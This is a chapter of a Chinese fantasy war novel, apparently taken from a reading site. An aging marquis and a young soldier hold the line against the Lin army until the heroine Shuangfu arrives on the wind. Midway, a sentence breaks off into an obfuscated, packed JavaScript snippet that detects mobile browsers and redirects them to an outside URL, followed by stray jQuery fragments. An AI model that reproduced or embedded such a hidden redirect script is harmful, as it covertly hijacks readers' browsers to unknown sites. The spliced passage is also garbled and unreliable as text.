霖国境内。
“侯爷,对方来势汹汹啊,打得这么狠,瞧着像是这一回不达目的誓不罢休呢!”
一人举着长刀挡在身前,飞快退到平江侯身旁说了一句,笑嘻嘻的,语气中没有多少紧张和慌乱的意思。
平江侯嫌弃地瞥了他一眼,摆摆手,不耐烦地说道:
“杀你的敌去!这是战场,嘻嘻哈哈像个什么样!”
忽然,平江侯又转回视线,上下打量了他一番,看得直摇头,重重地叹了一声,感慨道:
“还好霜浮就不像你这样。”
此话一出。
那人顿时涨红脸,哇哇大叫起来:“霜浮明明也这样,侯爷你偏心啊!!”
“去!”平江侯扬手拍了他后脑一巴掌,喝道,“杀好你的敌,守好我们的城,这一战绝不能能退!”
霎时,梦旗云整个人被扇进前方的混乱中,头晕目眩之中,一股寒气骤然蹿上他的脊背。
流转着寒光的铁黑大刀撕开呼啸的风,凶狠地迎面砍来——!
劲风如刀刮在脸上,梦旗云睁眼,就见铁黑大刀削去自己飘起的一缕头发,径直往自己脖子上招呼而来!
“卧槽!”
梦旗云瞬间大惊失色,身体却是几乎本能地向后倾倒。
铁黑长刀“欻欻欻”,接连劈砍捅刺进血红的沙土地,挥起一阵飞沙走石。
梦旗云抱着长刀,满脸惊恐,整个人却是动作利落,在血红沙土地里翻滚躲避。
“铛——!”
刀与刀相接,发出长长的暴戾脆响,尖锐刺耳。
长刀被铁黑大刀一点点压下。
梦旗云右手握紧到极致,右边整条胳膊连着半边肩膀隐隐颤抖着,发麻发疼。
他咬着牙,脸上五官狰狞,仰头看向面前的大汉,露出一个扭曲的笑容,语气嘲讽:
“就这?长这么大个头,上战场还一点劲儿没有,你们霖国是被打穷了,吃不起饭了?”
大汉顿时勃然大怒,心口剧烈起伏,怒吼一声,手上骤然挥刀再度狠厉朝着他砍去——
“好啊!老子这就砍了你脑袋,烤了你的肉来吃!!”
梦旗云张嘴就是“你们霖国穷了吧穷了吧”和“卧槽卧槽”,提着长刀“铛铛铛”格挡不断。
趁着大汉怒火攻心之时动作凶狠却不稳,他飞快如猴儿般跳了起来,一鼓作气窜出去老远。
后方,大汉霍然明白自己被激将法耍了。
可心中的怒火却是怎么也压不下,反倒越烧越旺。
他提着铁黑大刀,重重跺地一阵地动山摇,他脚下发力,整个人朝着那个方向追了上去,怒吼道:
“杀!都给老子杀!老子倒要看看,你们这点人还能硬气到什么时候?!”
“渊国——
“吃进去的都得给老子十倍百倍还回来!!!”
前方,梦旗云长刀一挥,削去两颗脑袋,流着泪窜到平江侯身边。
“你这孩子,怎么上哪儿都能挨揍呢?”平江侯嫌弃地看了他一眼。
梦旗云惊恐尖叫:“这是战场啊侯爷!不挨揍,难不成我们要和他们坐下来谈心吗?!!”
平江侯又给了他一巴掌,将人拍远了,提刀迎上前方的黑面大汉。
“平江侯……”大汉舞着大刀,对着平江侯狞笑道,“渊国这是无人了,居然还让你这老人家上战场,是想步了你们魏老将军的后尘吗?”
平江侯闻言,不恼,哈哈大笑,“老人小孩就能打下霖国三座城池,哪里还用得着年轻人?”
大汉顿时黑了脸,咬牙切齿。
忽然,他冷笑一声,手中铁黑大刀疾速逼近平江侯,大笑着道:
“侯爷上次吃了败仗砍儿子,这次吃了败仗,是不是要砍了自己脑袋才能谢罪啊?哈哈哈哈——”
平江侯脸色一变,蓦然阴沉了下去。
大汉笑着乘胜追击:“侯爷这次怎么就领这点兵啊?砍了儿子也换不来兵马吗?渊国的这位储君也看不上侯爷你啊!”
“关你屁事!!!”
一把寒光长刀骤然刺破黑夜。
梦旗云不知何时出现在了大汉的侧后方,他咬着牙,面容狰狞,双手高举长刀,朝着大汉的脑袋,狠厉砍下!
“轰!”
血红和黑夜中,瞬间掀起狂暴热浪,以大汉为中心,向外疾速奔腾。
梦旗云和平江侯仰面摔在沙土地上,扭头咳出一口血。
平江侯抄刀飞快站起。
梦旗云嘴里“诶呦诶呦”地哀嚎着,动作利落地跳了起来。
“侯爷,这要怎么打啊……”梦旗云转头看了看四周,哭丧着脸。
他们也没有给我们新法器啊……
这句话,梦旗云埋怨归埋怨,却没有在这时候说出来。
黑暗中地动山摇,刀光剑影闪烁不断。
怒吼和兵刃相接的巨大响声中,无数人碰撞在一起,倒下或是再碰撞。
平江侯松了松手,又稳稳握紧了刀,闻言,头也不回,沉声说:“打!杀!霜浮领着兵在赶来道路上了!”
“等她来,我尸骨都凉了啊……”
梦旗云流泪,手上却还是老实地握紧了刀,双眼紧紧盯着前方热浪中心的那道高大人影,片刻不敢移开。
“凉了也给我用骨头筑起高墙,挡住这些人等霜浮杀过来!!!”
平江侯厉声喝道。
“是……”梦旗云瞪着眼睛,哇啦哇啦流泪。
平江侯皱眉喝道:“大声点!”
“是!!!”
梦旗云背脊一挺,干流泪,深吸一口气,高声吼道:“杀敌!!!”
“杀敌!!!”
血色与黑夜中,各个方位,有远有近,蓦然爆发出巨大的嘶吼回应声。
分散,单薄,却有力。
打下的三城在身后,前方不远有梦霜浮带着兵马赶来,他们撑也要撑下去——
他们一倒下就是功亏一篑……绝不可能!
绝不允许!!!
血红泼洒在黑夜之上。
腥臭和烈火焚烧后的味道疾速交织,充斥在所有人的鼻尖,浓重得几乎要凝为实质,狞笑着扑个人满脸。
开阔的天地间,风一卷一卷地来去自如,却怎么也吹不散血腥和焚烧味。
血气冲天。
嘶吼声、刀光剑影碰撞声、血肉被顷刻撕裂的声音,逐渐蒙上一层薄纱般,飘远,被巨大的耳鸣声覆盖淹没。
大刀撕开黑夜,铁黑刀面流转着刺目寒光,伴随着一声大吼,铁黑大刀狠厉劈下!
几乎下一瞬就要将前方的平江侯直直劈开成两半!
“侯爷——!!”
梦旗云瞳孔骤缩,迎着劲风,不管不顾地朝着那个方向扑去。
他的身后。
一柄柄染血长刀骤然发出破空之声。
无数人怒吼着、叫骂着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15806686|160054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,挥刀朝着他的后背劈砍而去!
“你这浑小子乱什么乱!”
平江侯余光瞥见这一幕,被他气得,险些一口气没提上来。
顶了天了也就死他一个老家伙,这小子还能带着人再撑一会儿,拖也能拖到霜浮赶来,结果这小子……
唉。
“哈哈——”
前方,挥刀大汉发出大笑。
“平江侯——今天也该到你的死期了!!!”
寒光划过平江侯锐利的双目,铁黑大刀带着浓重阴寒之气,凶狠砍在他头顶——
“侯爷!!!”
梦旗云瞬间发出凄厉的惨叫。
与此同时,一柄柄寒光长刀也落在了他的后背之上。
“铛——铛铛铛,铛!”
“咔嚓咔嚓……”
砍在平江侯头顶的铁黑大刀仿佛是砍在了无形屏障之上,金属相击声中,屏障霎时破碎。
侧后方,落在梦旗云后背上的长刀同样被无形屏障挡住了一瞬,一柄柄长刀气势不减,继而狠厉劈下!
梦旗云望着前方那一幕,双眸中骤然亮起欣喜的光芒。
下一瞬,他又蓦然爆发出一声尖锐凄厉到极致的惨叫。
呼——
灼热中,忽然有寒风突兀吹过。
风中,黑与红中,细碎如鹅绒的雪花,悠然又疾速飘落。
三两点雪花白白的,落在挥刀的几人身上,瞬间!
在几乎要劈开血肉的瞬间!
一柄柄森森长刀停住了,狞笑着的大汉和面容狰狞的众人定在了原地——
他们保持着原有的姿态,突然定在了原地。
刷——
四周气温骤降,血腥和焚烧味被削弱。
一道白衣身影乘风划破黑夜,如飞鸟般掠过沙场,手中长剑挥砍,一道道被定住的人影霎时头身分离。
怒目圆睁的脑袋一颗接一颗,几乎是同时砸在凝实的沙土中,咕噜噜滚动起来。
“哒。”
那道风姿绰约的白衣身影稳稳落在地上。
她手中长剑一转,黑夜的高空中霎时响起一道长长的空灵啼叫声——
一道大体为白色、甩着三条冰蓝色尾翎的巨大鸟类自高空向下俯冲。
如流星滑过黑夜,那巨大的神秘身影以肉眼可见的速度一点点飞快缩小,缩至如鹰的大小,收翅,稳稳落在那白衣女子的肩膀上。
白衣女子转身,如游鱼般穿梭在刀光剑影之中。
她所过之处,人头抛飞,血红四溅,却没有染上她翩跹的白衣分毫。
“霜、霜浮……”
梦旗云愣愣地望着那道白衣身影。
良久。
梦旗云“哇”地一声哭了出来,哭得一把鼻涕一把泪,抱着长刀就跑向那道白衣身影:
“霜浮霜浮——啊呜呜呜——霜浮还好你来了呜呜呜呜——”
后方,死里逃生的平江侯也呆愣了一瞬,随即,举起长刀,中气十足地高喊道:
“援军已到——”
“渊国的将士们,随我一同杀敌啊!!!”
一呼百应。
嘶吼声霎时震天动地。
平江侯手中的长刀一转,哈哈大笑一声,埋头杀敌。
他老了,可不像那个浑小子一般毛毛躁躁。杀光了敌才能早团聚!
霜浮来了,北灵大人来了,优势在我——
此战,必捷。